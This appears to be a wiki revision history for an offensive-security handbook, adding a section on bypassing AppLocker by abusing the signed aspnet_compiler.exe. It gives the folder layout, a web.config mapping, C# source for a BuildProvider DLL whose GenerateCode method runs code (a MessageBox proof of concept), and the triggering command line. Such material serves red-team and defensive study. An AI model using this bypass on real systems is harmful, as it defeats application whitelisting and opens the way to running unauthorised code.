Handbook II - Advanced - Revision history

Administrator: /* AppLocker bypass using Aspnet_Compiler.exe */

2026-03-16T11:39:17Z

AppLocker bypass using Aspnet_Compiler.exe

← Older revision		Revision as of 11:39, 16 March 2026
Line 634:		Line 634:
	</syntaxhighlight>		</syntaxhighlight>

			The DLL is loaded by <code>aspnet_compiler.exe</code>, so all code runs inside a trusted process.

	Source: https://ijustwannared.team/2020/08/01/the-curious-case-of-aspnet_compiler-exe/		Source: https://ijustwannared.team/2020/08/01/the-curious-case-of-aspnet_compiler-exe/

2026-03-16T11:37:44Z

AppLocker bypass using Aspnet_Compiler.exe

← Older revision		Revision as of 11:37, 16 March 2026
Line 596:		Line 596:
	</pre>		</pre>

			Now we create a C# clasw library that inherits from <code>System.Web.Compilation.BuildProvider</code> and ovverides the code <code>GenerateCode</code> method. Any code that is placed in the <code>GenerateCode</code> executes when the compiler processes the trigger file.

			Super simple PoC:
			<syntaxhighlight lang="csharp">
			using System.Web.Compilation;
			using System.CodeDom;
			using System.Windows.Forms;

			namespace BringYourOwnBuilder
			{
			public class BringYourOwnBuilder : BuildProvider
			{
			public override void GenerateCode(AssemblyBuilder ab)
			{
			MessageBox.Show("code execution");
			}
			}
			}
			</syntaxhighlight>

			Place the compiled <code>BringYourOwnBuilder</code> and place it in the <code>bin\</code> folder.

			Now run the following command to invoke aspnet_compiler.exe, which in turn will execute your dll and a messagebox with "code execution" will pop up.

			<pre>
			aspnet_compiler.exe (Microsoft-signed, trusted)
			│
			└── reads web.config
			│
			└── <buildProviders> -> loads BringYourOwnBuilder.dll
			│
			└── GenerateCode() -> payload executes
			</pre>

			<syntaxhighlight lang="bash">
			C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe -v none -p C:\users\agh\desktop\asptest\ -f C:\users\agh\desktop\asptest\none -u
			</syntaxhighlight>

2026-03-16T11:31:17Z

AppLocker bypass using Aspnet_Compiler.exe

← Older revision		Revision as of 11:31, 16 March 2026
Line 569:		Line 569:
	├── web.config		├── web.config
	├── App_Code\		├── App_Code\
	│ └── ~~habssuck~~.~~wtf~~ <- this is the trigger file. the extenion is arbitrary.		│ └── dancingdogs.agh <- this is the trigger file. the extenion is arbitrary.
	└── bin\		└── bin\
	└── BringYourOwnBuilder.dll <- this is your malicious dll		└── BringYourOwnBuilder.dll <- this is your malicious dll
Line 581:		Line 581:
	<compilation>		<compilation>
	<buildProviders>		<buildProviders>
	<add extension=".~~wtf~~" type="BringYourOwnBuilder.BringYourOwnBuilder" />		<add extension=".agh" type="BringYourOwnBuilder.BringYourOwnBuilder" />
	</buildProviders>		</buildProviders>
	</compilation>		</compilation>
Line 587:		Line 587:
	</configuration>		</configuration>
	</syntaxhighlight>		</syntaxhighlight>

			The config above just tells <code>aspnet_compiler.exe</code>: When you encounter a <code>.agh</code> file, use the <code>BringYourOwnBulder</code> from <code>BringYourOwnBuilder.dll</code> to compile it.

			Place a file with the matcing extension inside the folder <code>App_Code</code>.

			<pre>
			App_Code\dancingdogs.agh
			</pre>

2026-03-16T11:28:32Z

AppLocker bypass using Aspnet_Compiler.exe

← Older revision		Revision as of 11:28, 16 March 2026
Line 569:		Line 569:
	├── web.config		├── web.config
	├── App_Code\		├── App_Code\
	│ └── habssuck.wtf ~~← dummy~~ trigger file ~~(extension~~ is arbitrary)		│ └── habssuck.wtf <- this is the trigger file. the extenion is arbitrary.
	└── bin\		└── bin\
	└── BringYourOwnBuilder.dll ← malicious ~~DLL~~		└── BringYourOwnBuilder.dll <- this is your malicious dll
	</pre>		</pre>


			The <code>web.config</code> file maps a custom extension to the malicous DLL class.
			<syntaxhighlight lang="xml">
			<configuration>
			<system.web>
			<compilation>
			<buildProviders>
			<add extension=".wtf" type="BringYourOwnBuilder.BringYourOwnBuilder" />
			</buildProviders>
			</compilation>
			</system.web>
			</configuration>
			</syntaxhighlight>

2026-03-16T11:27:11Z

AppLocker bypass using Aspnet_Compiler.exe

← Older revision		Revision as of 11:27, 16 March 2026
Line 563:		Line 563:
	<code>aspnet_compiler.exe</code> is the ASP.NET pre-compilation tool. Its legitimate purpose is to compile ASP.NET web applications ahead of deployment.		<code>aspnet_compiler.exe</code> is the ASP.NET pre-compilation tool. Its legitimate purpose is to compile ASP.NET web applications ahead of deployment.

			To perform this attack, we need to create a directory that mimicks a minimal ASP.NET web app.

			<pre>
			asptest\
			├── web.config
			├── App_Code\
			│ └── habssuck.wtf ← dummy trigger file (extension is arbitrary)
			└── bin\
			└── BringYourOwnBuilder.dll ← malicious DLL
			</pre>

2026-03-16T11:26:01Z

AppLocker bypass using Aspnet_Compiler.exe

← Older revision		Revision as of 11:26, 16 March 2026
Line 559:		Line 559:
	The full path for the binary is:		The full path for the binary is:

	<code>C:\Windows\Microsoft.NET\Framework64\		<code>C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe</code>

			<code>aspnet_compiler.exe</code> is the ASP.NET pre-compilation tool. Its legitimate purpose is to compile ASP.NET web applications ahead of deployment.

2026-03-16T11:22:40Z

AppLocker bypass using Aspnet_Compiler.exe

← Older revision		Revision as of 11:22, 16 March 2026
Line 555:		Line 555:
	== AppLocker bypass using Aspnet_Compiler.exe ==		== AppLocker bypass using Aspnet_Compiler.exe ==

	~~TODO~~		This technique abuses '''aspnet_compiler.exe'''. This is a legimate Microsoft-signed binary shipped with the .NET framework to load and execute a custom DLL. Since the binary is trusted and signed by Microsoft, it can bypass some application whitelisting controls.

			The full path for the binary is:

			<code>C:\Windows\Microsoft.NET\Framework64\




	Source: https://ijustwannared.team/2020/08/01/the-curious-case-of-aspnet_compiler-exe/		Source: https://ijustwannared.team/2020/08/01/the-curious-case-of-aspnet_compiler-exe/

2026-03-03T13:44:16Z

AV Evasion - General

← Older revision		Revision as of 13:44, 3 March 2026
Line 552:		Line 552:

	[[File:2023-09-image-8.png\|thumb]]		[[File:2023-09-image-8.png\|thumb]]

			== AppLocker bypass using Aspnet_Compiler.exe ==

			TODO

			Source: https://ijustwannared.team/2020/08/01/the-curious-case-of-aspnet_compiler-exe/

	== AV Evasion - General ==		== AV Evasion - General ==

2026-02-17T22:11:04Z

2026-02-17T21:37:44Z